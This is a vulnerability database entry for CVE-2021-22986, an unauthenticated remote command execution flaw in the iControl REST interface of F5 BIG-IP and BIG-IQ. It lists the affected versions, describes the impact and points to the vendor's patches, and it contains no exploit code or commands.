CVE-2021-22986

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 31/03 Upd 21/10

Overview

This vulnerability is an unauthenticated remote command execution flaw rooted in insufficient access controls on the iControl REST interface of BIG-IP and BIG-IQ products. The flaw arises from the improper validation of requests to specific management API endpoints, allowing attackers to execute arbitrary system commands without authentication. The affected component is the iControl REST API, specifically its handling of certain POST requests that interact with system utilities.

Vulnerability Description

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.

Impact

An attacker can execute arbitrary system commands on the affected device without any authentication or user interaction. This enables full system compromise including unauthorized access to sensitive data, manipulation or disruption of network traffic, and potential lateral movement within the network. The vulnerability allows attackers to gain administrative control over BIG-IP and BIG-IQ systems, jeopardizing the confidentiality, integrity, and availability of critical infrastructure components.

Solution

Apply vendor-provided patches as detailed in the F5 advisory K03009991 available at https://support.f5.com/csp/article/K03009991. Specifically, upgrade BIG-IP to versions 16.0.1.1 or later, 15.1.2.1 or later, 14.1.4 or later, 13.1.3.6 or later, 12.1.5.3 or later, and BIG-IQ to 7.1.0.3 or later and 7.0.0.2 or later. Follow the official patch installation instructions in the advisory to ensure proper remediation of this vulnerability.
